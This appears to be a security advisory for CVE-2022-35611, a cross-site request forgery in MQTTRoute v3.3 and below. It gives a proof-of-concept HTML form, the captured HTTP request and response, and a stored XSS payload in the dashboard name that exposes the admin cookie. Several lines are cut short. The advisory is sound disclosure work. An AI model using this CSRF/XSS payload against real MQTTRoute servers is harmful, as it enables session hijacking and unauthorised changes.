CVE-ID: CVE-2022-35611
A Cross-Site Request Forgery (CSRF) in MQTTRoute v3.3 and below allows attackers to create and remove dashboards.
The HTTP requests issued by the application do not have anti-csrf tokens. As a result, an attacker can craft a malicious form, which when submitted by an unsuspecting user in a valid session, would make the server assume that the request has been sent willingly by the user.
Sample PoC form to create a dashboard:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8080/
<input type="hidden" name="name" value="SC<img src=&
<input type="hidden" name="desc" value="ADV" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
An attacker can use CSRF to inject JavaScript as the dashboard name, granting the attacker access to the victim user's cookie, since the cookie is not marked as HTTPONLY.
Upon submitting the above form, the following request is sent to the server. Note that the origin of the request is not http://localhost:8080, which proves that it is a CSRF request.
HTTP Request:
POST /bwiot/api/v1/dashboard/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-
Content-Length: 72
Origin: http://burp
DNT: 1
Connection: close
Cookie: admin=
Upgrade-Insecure-Requests: 1
name=SC%3Cimg+src%3D%23+
HTTP Response:
HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 07:58:44 GMT
Server: TornadoServer/3.1
Content-Length: 135
Content-Type: application/json; charset=UTF-8
{"id": 6, "status": "Success", "description": "ADV", "name": "SC<img src=# onerror=alert(document.cookie)
The XSS popup happens as expected, when the admin user visits the dashboard page.
References:
